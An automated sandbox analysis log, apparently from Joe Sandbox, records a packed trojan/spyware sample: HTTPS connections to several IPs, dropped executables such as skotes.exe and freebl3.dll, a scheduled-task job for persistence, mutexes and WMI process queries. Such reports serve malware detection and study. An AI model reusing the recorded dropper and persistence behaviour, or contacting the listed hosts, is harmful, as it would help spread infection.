Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 50254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 50248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50212
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50213
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50228
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50239
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50236
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50246
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50250
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 50228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50273 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.121.10.34:443 -> 192.168.2.6:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.91:443 -> 192.168.2.6:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50217 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50221 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50220 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50254 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50256 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50257 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.6:50268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50277 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: fe4405d388.exe, 00000013.00000000.3005211525.0000000000F42000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_06cd2489-0
Source: fe4405d388.exe, 00000013.00000000.3005211525.0000000000F42000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_b86024b7-f

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.14.dr	Static PE information: section name:
Source: random[1].exe.14.dr	Static PE information: section name: .idata
Source: random[1].exe.14.dr	Static PE information: section name:
Source: ba324316e4.exe.14.dr	Static PE information: section name:
Source: ba324316e4.exe.14.dr	Static PE information: section name: .idata
Source: ba324316e4.exe.14.dr	Static PE information: section name:
Source: random[1].exe1.14.dr	Static PE information: section name:
Source: random[1].exe1.14.dr	Static PE information: section name: .idata
Source: 258e650b63.exe.14.dr	Static PE information: section name:
Source: 258e650b63.exe.14.dr	Static PE information: section name: .idata
Source: random[1].exe2.14.dr	Static PE information: section name:
Source: random[1].exe2.14.dr	Static PE information: section name: .idata
Source: random[1].exe2.14.dr	Static PE information: section name:
Source: 90c05232da.exe.14.dr	Static PE information: section name:
Source: 90c05232da.exe.14.dr	Static PE information: section name: .idata
Source: 90c05232da.exe.14.dr	Static PE information: section name:
Source: M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe.17.dr	Static PE information: section name:
Source: M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe.17.dr	Static PE information: section name: .idata
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: section name:
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: section name: .idata
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E05C83	1_2_00E05C83
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E0735A	1_2_00E0735A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E48860	1_2_00E48860
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E04DE0	1_2_00E04DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E04B30	1_2_00E04B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00A178BB	4_2_00A178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00A18860	4_2_00A18860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00A17049	4_2_00A17049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00A131A8	4_2_00A131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_009D4B30	4_2_009D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_009D4DE0	4_2_009D4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00A12D10	4_2_00A12D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00A1779B	4_2_00A1779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00A07F36	4_2_00A07F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A178BB	5_2_00A178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A18860	5_2_00A18860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A17049	5_2_00A17049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A131A8	5_2_00A131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009D4B30	5_2_009D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009D4DE0	5_2_009D4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A12D10	5_2_00A12D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A1779B	5_2_00A1779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00A07F36	5_2_00A07F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009EDF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009E80C0 appears 260 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00E180C0 appears 130 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981692779291553
Source: skotes.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9981692779291553
Source: random[1].exe.14.dr	Static PE information: Section: szaazyea ZLIB complexity 0.9949221118141861
Source: ba324316e4.exe.14.dr	Static PE information: Section: szaazyea ZLIB complexity 0.9949221118141861
Source: random[2].exe0.14.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[2].exe0.14.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: b294a2fe6c.exe.14.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: b294a2fe6c.exe.14.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe2.14.dr	Static PE information: Section: ZLIB complexity 0.9974983946917808
Source: random[1].exe2.14.dr	Static PE information: Section: avxzjrga ZLIB complexity 0.9949793403811793
Source: 90c05232da.exe.14.dr	Static PE information: Section: ZLIB complexity 0.9974983946917808
Source: 90c05232da.exe.14.dr	Static PE information: Section: avxzjrga ZLIB complexity 0.9949793403811793
Source: VX0YIFPA9O6IUSKA42AUY9.exe.17.dr	Static PE information: Section: szaazyea ZLIB complexity 0.9949221118141861

Source: M4DQ9XSY5MC3EM9XBILXIQOGHXOC.exe.17.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 258e650b63.exe.14.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe1.14.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@87/47@70/15

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5316:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4328:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6620:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
